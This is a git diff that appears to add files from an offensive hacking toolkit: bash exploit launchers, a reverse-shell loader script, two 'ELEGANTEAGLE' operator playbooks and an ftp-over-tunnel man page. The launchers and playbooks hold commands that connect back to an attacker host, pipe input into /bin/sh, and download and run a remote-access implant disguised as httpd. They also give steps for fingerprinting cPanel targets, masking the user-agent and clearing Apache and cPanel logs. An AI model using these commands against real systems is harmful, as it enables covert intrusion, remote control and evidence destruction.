"$ACTUALTARGET" ] || ACTUALTARGET=$REMOTE_IP + + if [ "$PACKRAT_SCRIPME" ] ; then + if [ -x /current/bin/nc.YS -a ! "$TRICKYTIMING" ] ; then + PACKARGS="$PACKARGS -n /current/bin/nc.YS" + fi + EXPLOIT_SCRIPME="packrat$PACKARGS $RAT_NAME $NOSERVER $LOCAL_PORT" + note "\nStarting local LISTENer to send noserver via port $LOCAL_PORT\n" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0" + fi + if [ "$REDIRECT" ] ; then + if [ "$CALLBACK" ] ; then + note "\n\nYou will need a NOPEN listener window on $CALLBACKIP:\n" + fi + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | egrep "nstun|noclient"` + PASTABLE=" +cd /current/down +${PASTABLE}" + + note "${PASTABLE}" + # echo "FIRST/-tunnel nopen window on $CALLBACKIP:" + # SECOND="SECOND " + # note "\n-tunnel\n\nu 177 $ACTUALTARGET\nr $LOCAL_PORT\nr $XPORT\n\ns\n" + if [ ! "$CALLBACK" ] ; then + notered -n "bort ontinue once NOPEN and packrat windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=-c${CALLBACKIP}:${NOPENPORT}" + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + if [ "$REDIRECT" ] ; then + if [ "$ITSLOCAL" ] ; then + echo "${SECOND}remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + MORE="" + echo "${SECOND}remote nopen window on $CALLBACKIP:" + if [ "$TRICKYTIMING" ] ; then + note "The -lsh while loop will wait until the netcat is gone,\nthen start the NOPEN callback listener." + MORE="-lsh while [ 1 ] ; do ps -efwww | egrep -v \"scripme|perl|uX_local|defunct|grep\" | grep nc.*$NOPENPORT.*${RAT_NAME} > /dev/null || break ; sleep 1 ; done ; sleep 1 ; dotunnel c 2\n\n" + fi + note "${PASTABLE}\n\n${MORE}-nrtun $NOPENPORT\n\n" + if [ "$TRICKYTIMING" ] ; then + notered "BE SURE TO ^C THE NETCAT/PACKRAT BEFORE CALLBACK DELAY OF" + notered "30+ SECONDS IS UP (BUT AFTER UPLOAD COMPLETES).\n" + fi + unset MORE + fi + notered -n "bort ontinue once NOPEN windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + else + echo "${SECOND}local noclient listener on $CALLBACKIP:" + MORE="" + if [ "$TRICKYTIMING" ] ; then + note "The while loop will wait until the netcat is gone,\nthen start the NOPEN callback listener." + MORE="while [ 1 ] ; do ps -efwww | egrep -v \"scripme|perl|uX_local|defunct|grep\" | grep nc.*$NOPENPORT.*${RAT_NAME} > /dev/null || break ; sleep 1 ; done ; sleep 1" + note "\n$MORE" + fi + note "\ncd /current/down/\n/current/bin/noclient -l $NOPENPORT\n\n" + notered -n "bort ontinue once NOPEN windows are ready [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + fi + else + RAT_PREARGS=" D=-l${NOPENPORT}" + if [ "$REDIRECT" ] ; then + POSTRUN="${PASTABLE} + +-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN="noclient ${ACTUALTARGET}:${NOPENPORT}" + fi + fi + + # Now check what we can before continuing + echo "" + while [ 1 ] ; do + + [ "$CALLBACK" ] || OKNRTUN=okeydokey + [ "$REDIRECT" ] || OKUDP=okeydokey + [ "$REDIRECT" ] && OKUDP=`netstat -an | grep "^udp.*0 0.0.0.0:177 "` + [ "$CALLBACK" ] && OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"` + OKPACKRAT=`netstat -an | grep "^tcp.*0.0.0.0:$LOCAL_PORT .*LISTEN"` + + [ "$OKUDP" ] || notered "No udp/177 seen locally in netstat" + [ "$OKNRTUN" ] || notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat" + if [ ! "$OKPACKRAT" ] ; then + if [ "$OKUDP" -a "$OKNRTUN" ] ; then + notered "waiting for packrat to start on port $LOCAL_PORT" + else + notered "No packrat seen locally on port $LOCAL_PORT in netstat" + fi + fi + [ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break + + [ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue + unset OKUDP OKNRTUN OKPACKRAT + notered "\a\n\nCANNOT PROCEED" + notered "\a\n\nFix this and either bort or etry. [R] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + done + unset OKUDP OKNRTUN OKPACKRAT + if [ "$CALLBACK" ] ; then + NOCLIENTCALL="cd /current/down\n../bin/noclient ${ACTUALTARGET}:$NOPENPORT" + [ "$REDIRECT" ] && NOCLIENTCALL="-nstun $ACTUALTARGET ${NOPENPORT}" + TAKENOTE="$TAKENOTE +======================================================== + +You did a NOPEN callback. Be sure to test a call FORWARD if you get on. +Something like (${COLOR_FAILURE}each on the right box${COLOR_NORMAL}): + +-listen $NOPENPORT + +$NOCLIENTCALL +" + fi + if [ "$POSTRUN" ] ; then + TAKENOTE="$TAKENOTE +======================================================== + +$POSTRUN +" + fi + + if [ "$TAKENOTE" ] ; then + TAKENOTE=" +======================================================== +======================================================== + NOTES/PASTABLES FOR LATER + +$TAKENOTE +======================================================== +======================================================== +" + fi + [ "$AFTERNOTE" ] && [ -e $AFTERNOTE ] && rm -f $AFTERNOTE + echo "$TAKENOTE" > /current/.afternote.$$ + export AFTERNOTE=/current/.afternote.$$ + + #note "\nStarting local mini-X server via scripme" + note "\nStarting exploit xc via scripme" + EXPLOIT_SCRIPME="xc -x $CALLBACKIP -y $XPORT -s $CALLBACKIP $REMOTE_IP 2>&1" + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t YS-xc-window -F -X \"-fg white -bg black -geometry 131x55\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t YS-xc.$ACTUALTARGET -F -X "-bg white -fg black -geometry 78x51+654+0" + + unset UNCOMPRESS + if [ ! "$NOZIP" ] ; then + UNCOMPRESS=" && uncompress -f ${RAT_NAME}.Z ${ERRREDIR} " + [ "$USEKSH" ] && UNCOMPRESS=".Z && uncompress -f ${RAT_NAME}.Z ${ERRREDIR} " + fi + + #old way: + #2>&1 &1 |uudecode 2>&1 > /dev/null 2>&1 + # /dev/null 2>&1 + VENDOR_STR="\`TERM=vt100;export TERM;cd /tmp;mkdir -p ${DIR} && cd ${DIR} ; telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null ${ERRREDIR} $UNCOMPRESS && chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" +#20050708: Need TERM apparently? +# VENDOR_STR="\`cd /tmp;mkdir -p ${DIR} && cd ${DIR} ; telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null 2>&1 $UNCOMPRESS && chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" + #VENDOR_STR="\`mkdir ${DIR};cd ${DIR} && telnet ${CALLBACKIP} ${LOCAL_PORT} /dev/null 2>&1 && uncompress -f ${RAT_NAME}.Z && chmod 0700 ${RAT_NAME} && PATH=${DIR} ${RAT_NAME}\`" + #if [ "$USEKSH" ] ; then + # VENDOR_STR="\`cd /tmp;mkdir ${DIR} 2>&1 && cd ${DIR} 2>&1 ; /bin/ksh -c \"cat < /dev/tcp/${CALLBACKIP}/${LOCAL_PORT}> ${RAT_NAME}${UNCOMPRESS}\" ; chmod 0700 ${RAT_NAME} && PATH=${DIR}:.${RAT_PREARGS} ${DOTSLASH}${RAT_NAME}\`" + #fi + + notered "\n\nNow running the following via:\n\n./uX_local -e '$VENDOR_STR' -v -p $XPORT -c xxx\n\n" + note "VENDOR_STR=\"$VENDOR_STR\"\n\n" + + notered "RUNNING (yet another) SCRIPME window with the uX_local line shown above." + EXPLOIT_SCRIPME="./uX_local -e '$VENDOR_STR' -v -p $XPORT -c xxx" scripme -t YS-uXlocal.$ACTUALTARGET -F -X "-bg white -fg black -geometry 78x51+76+0" + +} # end doit + + +[ "${*}" ] || usage exit -h +[ "${*}" = "-h" ] && usage exit -h +ATTEMPT=1 +while [ 1 ] ; do + if [ "$TARGETIP" -a "$ATTEMPT" = "1" ] ; then + echo -e "$usagetextshort" + # This is called by autoattack so allow changes + notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n" + notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n" + read ans + if [ "$ans" ] ; then + ARGS="$ans" + note Changing arguments to: $ARGS + else + note NOT changing arguments + fi + fi + if [ "$ARGS" ] ; then + OPTIND=1 + doit $ARGS + else + OPTIND=1 + ARGS="${*}" + doit ${*} + fi + +# note "\n\n$PROG attempt number $ATTEMPT is complete." + DATE=`date -u` + [ "$EXPLOIT_SCRIPME" ] && VIA=" via scripme popups" + note "\n\n$PROG attempt$VIA is complete at $DATE.\n\n" +# if [ "$CALLBACK" ] ; then + if [ "" ] ; then + notered "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + notered -n "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi +# note "\nIf it worked, hit return to exit.\n" +# notered -n "Do you want to try again? [N] " +# read ans +# [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + + # No retries anymore - too messy + break + # echo -e "$usagetext" + LASTARGS=$ARGS + note "\n\nYour last attempt tried the following arguments:\n\n" + note "$LASTARGS\n\n" + notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use. Enter \"DONE\" or ^C to quit." + read ans + [ "$ans" = "DONE" ] && break + if [ "$ans" ] ; then + ARGS="${ans}" + fi + ATTEMPT=`expr $ATTEMPT + 1` + +done + +if [ ! -z "$AUTOMODE" ] ; then + notered "\n\nYou MUST ${COLOR_NOTE}FIRST$COLOR_FAILURE ^C and then ^D in each of the netcat, +uX_local and xc scripme windows started earlier to be able to exit this window.\n\n" +else + note "$AFTERNOTE" + if [ ! "$CALLBACK" ] ; then + if [ ! "$REDIRECT" ] ; then + if [ "$ITSLOCAL" ] ; then + note "\n\nPastable to connect once it is running:\n\n noclient $REMOTE_IP:$NOPENPORT\n\n" + fi + else + note "\n\nPastable to connect from $CALLBACKIP once it is running:\n\n -nstun $ACTUALTARGET:$NOPENPORT\n\n" + note "\n\nTo close tunnels in -tunnel $TUNNELPORT udp window:\n\n closetunnel\n" + fi + fi +fi diff --git a/Linux/bin/ys.ratload.sh b/Linux/bin/ys.ratload.sh new file mode 100755 index 0000000..19c5227 --- /dev/null +++ b/Linux/bin/ys.ratload.sh @@ -0,0 +1,65 @@ +#!/bin/bash + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -x 9999" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 2 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Starting mini X server on port ${XPORT}" +echo "########################################" +echo + +VENDOR_STR="\`/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 < /dev/console | /bin/sh\`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx + diff --git a/Linux/doc/README.nftp b/Linux/doc/README.nftp new file mode 100644 index 0000000..9378f69 --- /dev/null +++ b/Linux/doc/README.nftp @@ -0,0 +1,28 @@ +HOWTO for nftp + +nftp allows plain old FTP to be used redirected through a NOPEN +connection. + +Connect to a remote NOPEN server you want to redirect ftp through. +Run this command there: + + -tunnel 12121 udp + + +Then, in a local window: + + nftp -r NOPEN-SERVER-IP TARGETIP + +where NOPEN-SERVER-IP is the IP on the NOPEN server that will be +conversing with the remote FTP server; and + +TARGETIP is the ACTUAL IP of the FTP server. + +Don't worry, in NOPEN redirect mode (with -r), nftp will not contact +TARGETIP directly. + +NOTE: Once nftp exits, the "-tunnel" on the NOPEN server will exit. + +nftp is a complete ftp client. See "man nftp.1" for complete client +details. + diff --git a/Linux/doc/eleganteagle_opscript.1.0.0.3-i-think b/Linux/doc/eleganteagle_opscript.1.0.0.3-i-think new file mode 100644 index 0000000..e36ed8f --- /dev/null +++ b/Linux/doc/eleganteagle_opscript.1.0.0.3-i-think @@ -0,0 +1,145 @@ +# +# ELEGANTEAGLE op script +# + +mx +:syntax on +:colorscheme darkblue +:%s#IP_ADDRESS_OF_REDIRECTOR#10.0.0.1#g +:%s#IP_ADDRESS_OF_TARGET#10.1.1.1#g +:%s#LOCAL_REDIRECTION_PORT#random14444-55555-1#g +:%s#APPLICATION_LAYER_PROTOCOL#https#g +:%s#SERVER_LISTEN_PORT#443#g +:%s#CGIECHO_URL#cgi-sys/cgiecho#g +:%s#CALLBACK_PORT#random14444-55555-2#g +:%s#UPLOADNRUN_PS_NAME#/usr/local/apache/bin/httpd#g +:%s#PATH_TO_RAT#/current/up/noserver-linux#g +'x + + + +# +# First, make sure the target is alive +# +-ping -r IP_ADDRESS_OF_TARGET -l IP_ADDRESS_OF_REDIRECTOR + +# +# Now, set up your tunnels +# + +-tunnel +l LOCAL_REDIRECTION_PORT IP_ADDRESS_OF_TARGET SERVER_LISTEN_PORT +r CALLBACK_PORT + +# +# OK, so we need to find the main IP address and hostmane for this exploit to +# work. +# + +################################################################################ +#NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!! +################################################################################ +# +# ALL OF THESE SCANS CAN LEAVE LOGS, SO BE CAREFUL AND CLEAN UP AFTER YOURSELF!! +# +################################################################################ + +# +# Give the following a try first, if you see a line that looks like : +# +#

The document has moved here.

+# +# Then you now have the main hostname for your server, congrats. +# +curl -v APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/cgi-sys/domainredirect.cgi + +# +# To confirm you have to correct IP address, you should run the following. If +# you get a generic apache page and not an application specific page, it is a +# good bed you are on the main IP address. +# + +curl APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/ + +# +# If needed, check if cpanel is setup to redirect to the main IP +# + +curl -s --header "Host: cpanel.a.com" APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/ + +# +# Or try a nonexistant hostname and see if it redirects you to the main page +# + +curl -s --header "Host: google-cachebot-07e33p29g.google.com" APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/ + +# +# You can also try a reverse DNS lookup on your target (FROM PITCH) +# + +nslookup IP_ADDRESS_OF_TARGET + +# +# Now let's use the main hostname for the rest of the exploit, if you decide to +# throw the exploit at the base IP address directly, then put in the IP address +# in the replacement line below +# + +mx +:%s/TARGET_HOSTNAME/somehost.somedomain.com/g +'x + +# +# Ok, let's add the hostname to our /etc/hosts file +# + +cat << _EOF_ >> /etc/hosts +127.0.0.1 TARGET_HOSTAME +_EOF_ +cat /etc/hosts + + +# +# Make sure you know what the options do... +# +./eerun -h -v + +# +# And throw the exploit, this is how to get a reverse shell back from the target +# +./eerun APPLICATION_LAYER_PROTOCOL://TARGET_HOSTNAME:LOCAL_REDIRECTION_PORT/CGIECHO_URL callback IP_ADDRESS_OF_REDIRECTOR CALLBACK_PORT + +# +# And this is how you upload NOPEN and have it call us back +# +./eerun APPLICATION_LAYER_PROTOCOL://TARGET_HOSTNAME:LOCAL_REDIRECTION_PORT/CGIECHO_URL uploadnrun -e "D=-ucIP_ADDRESS_OF_REDIRECTOR:CALLBACK_PORT" PATH_TO_RAT UPLOADNRUN_PS_NAME + + +# +# There are other things to do with this exploit, check the documentation to +# get an idea. +# + +# +# Once you are on, you are going to need to find a directory where you have +# write permissions and is mounted executabe. The find command below should +# help with that: +# + +find / -type d -perm -o+rwx 2>/dev/null + +# +# Your working directory will currently be /, so go fix that +# + +# +# Cleaning: Check the following locations for remnents of your exploit (plus +# of course a full time sorted find ;-) ) +# + +/usr/local/apache/logs/access_log +/usr/local/apache/logs/suexec_log +/usr/local/apache/domlogs/* +/var/log/dcpumon/toplog.* +/var/log/dcpumon// + diff --git a/Linux/doc/eleganteagle_opscript.1.0.0.6 b/Linux/doc/eleganteagle_opscript.1.0.0.6 new file mode 100644 index 0000000..708a374 --- /dev/null +++ b/Linux/doc/eleganteagle_opscript.1.0.0.6 @@ -0,0 +1,176 @@ + +# +# ELEGANTEAGLE op script +# + + +# +# This goes in .curlrc +# + +user-agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) + +mx +:syntax on +:colorscheme darkblue +:%s#IP_ADDRESS_OF_REDIRECTOR#10.0.0.1#g +:%s#IP_ADDRESS_OF_TARGET#10.1.1.1#g +:%s#LOCAL_REDIRECTION_PORT#11111#g +:%s#APPLICATION_LAYER_PROTOCOL#http#g +:%s#SERVER_LISTEN_PORT#443#g +:%s#CGIECHO_URL#cgi-sys/cgiecho#g +:%s#CALLBACK_PORT#22222#g +:%s#UPLOADNRUN_PS_NAME#/usr/local/apache/bin/httpd#g +:%s#PATH_TO_RAT#/current/up/noserver-linux#g +'x + + + +# +# First, make sure the target is alive +# +-ping -r IP_ADDRESS_OF_TARGET -l IP_ADDRESS_OF_REDIRECTOR + +# +# Now, set up your tunnels +# + +-tunnel +l LOCAL_REDIRECTION_PORT IP_ADDRESS_OF_TARGET SERVER_LISTEN_PORT +r CALLBACK_PORT + +# +# OK, so we need to find the main IP address and hostmane for this exploit to +# work. +# + +################################################################################ +#NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!!!NOTE!!! +################################################################################ +# +# ALL OF THESE SCANS CAN LEAVE LOGS, SO BE CAREFUL AND CLEAN UP AFTER YOURSELF!! +# +################################################################################ + + + +## Try this to make your logs stand out a little less + +cat << 'EOF' >> $HOME/.curlrc +user-agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) +EOF +echo "$HOME/.curlrc contains:" +cat $HOME/.curlrc + + +# +# Give the following a try first, if you see a line that looks like : +# +#

The document has moved here.

+# +# Then you now have the main hostname for your server, congrats. +# +curl -v APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/cgi-sys/domainredirect.cgi + +# +# To confirm you have to correct IP address, you should run the following. If +# you get a generic apache page and not an application specific page, it is a +# good bed you are on the main IP address. +# + +curl -v APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/ + +# +# If needed, check if cpanel is setup to redirect to the main IP +# + +curl -v -s --header "Host: cpanel.a.com" APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/ + +# +# Or try a nonexistant hostname and see if it redirects you to the main page +# + +curl -v -s --header "Host: google-cachebot-07e33p29g.google.com" APPLICATION_LAYER_PROTOCOL://127.0.0.1:LOCAL_REDIRECTION_PORT/ + +# +# You can also try a reverse DNS lookup on your target (FROM PITCH) +# + +nslookup IP_ADDRESS_OF_TARGET + +# +# Now let's use the main hostname for the rest of the exploit, if you decide to +# throw the exploit at the base IP address directly, then put in the IP address +# in the replacement line below +# + +mx +:%s/TARGET_HOSTNAME/somehost.somedomain.com/g +'x + +# +# Ok, let's add the hostname to our /etc/hosts file +# + +cat << _EOF_ >> /etc/hosts +127.0.0.1 TARGET_HOSTNAME +_EOF_ + +# +# Make sure you know what the options do... +# +./eerun -h -v + +# +# And throw the exploit, this is how to get a reverse shell back from the target +# + +# get nc ready +nc -l -v -p CALLBACK_PORT + +./eerun APPLICATION_LAYER_PROTOCOL://TARGET_HOSTNAME:LOCAL_REDIRECTION_PORT/CGIECHO_URL callback IP_ADDRESS_OF_REDIRECTOR CALLBACK_PORT + +# +# And this is how you upload NOPEN and have it call us back +# +./eerun APPLICATION_LAYER_PROTOCOL://TARGET_HOSTNAME:LOCAL_REDIRECTION_PORT/CGIECHO_URL uploadnrun -e "D=-ucIP_ADDRESS_OF_REDIRECTOR:CALLBACK_PORT" PATH_TO_RAT UPLOADNRUN_PS_NAME + + +# +# There are other things to do with this exploit, check the documentation to +# get an idea. +# + +# +# Once you are on, you are going to need to find a directory where you have +# write permissions and is mounted executable. The find commands below should +# help with that: +# + +find / -type d -perm -o+rwx 2>/dev/null + +cd /tmp +for i in `cat /etc/passwd | cut -d : -f 6`; do find $i/public_html -type d -perm -o+rwx 2>/dev/null; done + +# If you still cannot find a directory, try these: +/var/cpanel/rvglobalsoft/rvsitebuilder/www/users +/var/cache/coolkey + +# +# Your working directory will currently be /, so go fix that +# + +# +# Cleaning: Check the following locations for remnants of your exploit (plus +# of course a full time sorted find ;-) ) +# + +/usr/local/apache/logs/access_log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/suexec_log +/usr/local/apache/domlogs/* +/var/log/dcpumon/toplog.* +/var/log/dcpumon// +/usr/local/cpanel/logs/* + + diff --git a/Linux/doc/nftp.1 b/Linux/doc/nftp.1 new file mode 100644 index 0000000..fc84532 --- /dev/null +++ b/Linux/doc/nftp.1 @@ -0,0 +1,1084 @@ +.\" Copyright (c) 1985, 1989, 1990 The Regents of the University of California. +.\" All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 3. All advertising materials mentioning features or use of this software +.\" must display the following acknowledgement: +.\" This product includes software developed by the University of +.\" California, Berkeley and its contributors. +.\" 4. Neither the name of the University nor the names of its contributors +.\" may be used to endorse or promote products derived from this software +.\" without specific prior written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +.\" SUCH DAMAGE. +.\" +.\" from: @(#)ftp.1 6.18 (Berkeley) 7/30/91 +.\" +.Dd May 10, 2004 +.Dt NFTP 1 +.Os "V1.1 From Linux NetKit (0.17)" +.Sh NAME +.Nm nftp +.Nd +.Tn NOPEN redirector aware Internet +file transfer program +.Sh SYNOPSIS +.Nm nftp +.Ar -r\ redir-IP +.Op Fl pruinegvhdV u\ PORT N\ NOPEN-IP +.Op Ar remote-ftp-server +.Nm pnftp +.Ar -r\ redir-IP +.Op Fl ruinegvhdV u\ PORT N\ NOPEN-IP +.Op Ar remote-ftp-server +.Sh DESCRIPTION +.Nm NFtp +is the NOPEN-aware user interface to the +.Tn Internet +standard File Transfer Protocol. +The program allows a user to transfer files to and from a +remote network site. +.Pp +NOTE: NOPEN redirection, the "-r redir-IP" option, is required. Use regular +.Nm ftp +if you need a direct +.Tn FTP +client. +.Pp +NOTE: In NOPEN redirection mode (i.e., when using the "-r redir-IP" option), it is assumed that the local NOPEN client +.Ar NOPEN-IP +(which defaults to 127.0.0.1) is configured with the "-tunnel +.Ar PORT +udp" command to take tunnel commands from +.Nm nftp. +If that is not the case, a pastable is provided to do so. +.Pp +Options may be specified at the command line, or to the +command interpreter. +.Bl -tag -width flag +.It Fl h\ or v +Prints out usage statement. +.It Fl r\ redir-IP +Use NOPEN redirection, where redir-IP is the endpoint of the NOPEN tunnel. Data channel connections (in standard or passive mode) will originate from this redir-IP. To do this, +.Nm nftp +will determine the port chosen by the remote +.Tn FTP +server, and then enable the correct +.Tn NOPEN +-tunnel command via the local UDP port -tunnel is listening on (see +.Nm -u +below). + +.It Fl u\ PORT +When using NOPEN redirection, send NOPEN tunnel commands to the local NOPEN client via UDP port PORT. Ignored unless the -r option is used. Defaults to 12121. +.It Fl N\ NOPEN-IP +When using NOPEN redirection, send NOPEN tunnel commands to this local NOPEN client. Ignored unless the -r option is used. Defaults to 127.0.0.1. +.It Fl p +Use passive mode for data transfers. Allows use of ftp in environments +where a firewall prevents connections from the outside world back to +the client machine. Requires that the ftp server support the PASV +command. This is the default if invoked as +.Nm pnftp. +.It Fl i +Turns off interactive prompting during multiple file transfers. +.It Fl n +Restrains +.Nm nftp +from attempting \*(Lqauto-login\*(Rq upon initial connection. +If auto-login is enabled, +.Nm nftp +will check the +.Pa .netrc +(see +.Xr netrc 5) +file in the user's home directory for an entry describing +an account on the remote machine. +If no entry exists, +.Nm nftp +will prompt for the remote machine login name (default is the user +identity on the local machine), and, if necessary, prompt for a password +and an account with which to login. +.It Fl e +Disables command editing and history support, if it was compiled into +the +.Nm nftp +executable. Otherwise, does nothing. +.It Fl g +Disables file name globbing. +.It Fl V +Verbose option forces +.Nm nftp +to show all responses from the remote server, as well +as report on data transfer statistics. +.It Fl d +Enables debugging. +.El +.Pp +The client host with which +.Nm nftp +is to communicate may be specified on the command line. +If this is done, +.Nm nftp +will immediately attempt to establish a connection to an +.Tn FTP +server on that host; otherwise, +.Nm nftp +will enter its command interpreter and await instructions +from the user. +When +.Nm nftp +is awaiting commands from the user the prompt +.Ql nftp> +is provided to the user. +The following commands are recognized +by +.Nm nftp : +.Bl -tag -width Fl +.It Ic \&! Op Ar command Op Ar args +Invoke an interactive shell on the local machine. +If there are arguments, the first is taken to be a command to execute +directly, with the rest of the arguments as its arguments. +.It Ic \&$ Ar macro-name Op Ar args +Execute the macro +.Ar macro-name +that was defined with the +.Ic macdef +command. +Arguments are passed to the macro unglobbed. +.It Ic account Op Ar passwd +Supply a supplemental password required by a remote system for access +to resources once a login has been successfully completed. +If no argument is included, the user will be prompted for an account +password in a non-echoing input mode. +.It Ic append Ar local-file Op Ar remote-file +Append a local file to a file on the remote machine. +If +.Ar remote-file +is left unspecified, the local file name is used in naming the +remote file after being altered by any +.Ic ntrans +or +.Ic nmap +setting. +File transfer uses the current settings for +.Ic type , +.Ic format , +.Ic mode , +and +.Ic structure . +.It Ic ascii +Set the file transfer +.Ic type +to network +.Tn ASCII . +This is the default type. +.It Ic bell +Arrange that a bell be sounded after each file transfer +command is completed. +.It Ic binary +Set the file transfer +.Ic type +to support binary image transfer. +.It Ic bye +Terminate the +.Tn FTP +session with the remote server +and exit +.Nm nftp . +An end of file will also terminate the session and exit. +.It Ic case +Toggle remote computer file name case mapping during +.Ic mget +commands. +When +.Ic case +is on (default is off), remote computer file names with all letters in +upper case are written in the local directory with the letters mapped +to lower case. +.It Ic \&cd Ar remote-directory +Change the working directory on the remote machine +to +.Ar remote-directory . +.It Ic cdup +Change the remote machine working directory to the parent of the +current remote machine working directory. +.It Ic chmod Ar mode file-name +Change the permission modes of the file +.Ar file-name +on the remote +sytem to +.Ar mode . +.It Ic close +Terminate the +.Tn FTP +session with the remote server, and +return to the command interpreter. +Any defined macros are erased. +.It Ic \&cr +Toggle carriage return stripping during +ascii type file retrieval. +Records are denoted by a carriage return/linefeed sequence +during ascii type file transfer. +When +.Ic \&cr +is on (the default), carriage returns are stripped from this +sequence to conform with the +.Ux +single linefeed record +delimiter. +Records on +.Pf non\- Ns Ux +remote systems may contain single linefeeds; +when an ascii type transfer is made, these linefeeds may be +distinguished from a record delimiter only when +.Ic \&cr +is off. +.It Ic delete Ar remote-file +Delete the file +.Ar remote-file +on the remote machine. +.It Ic debug Op Ar debug-value +Toggle debugging mode. +If an 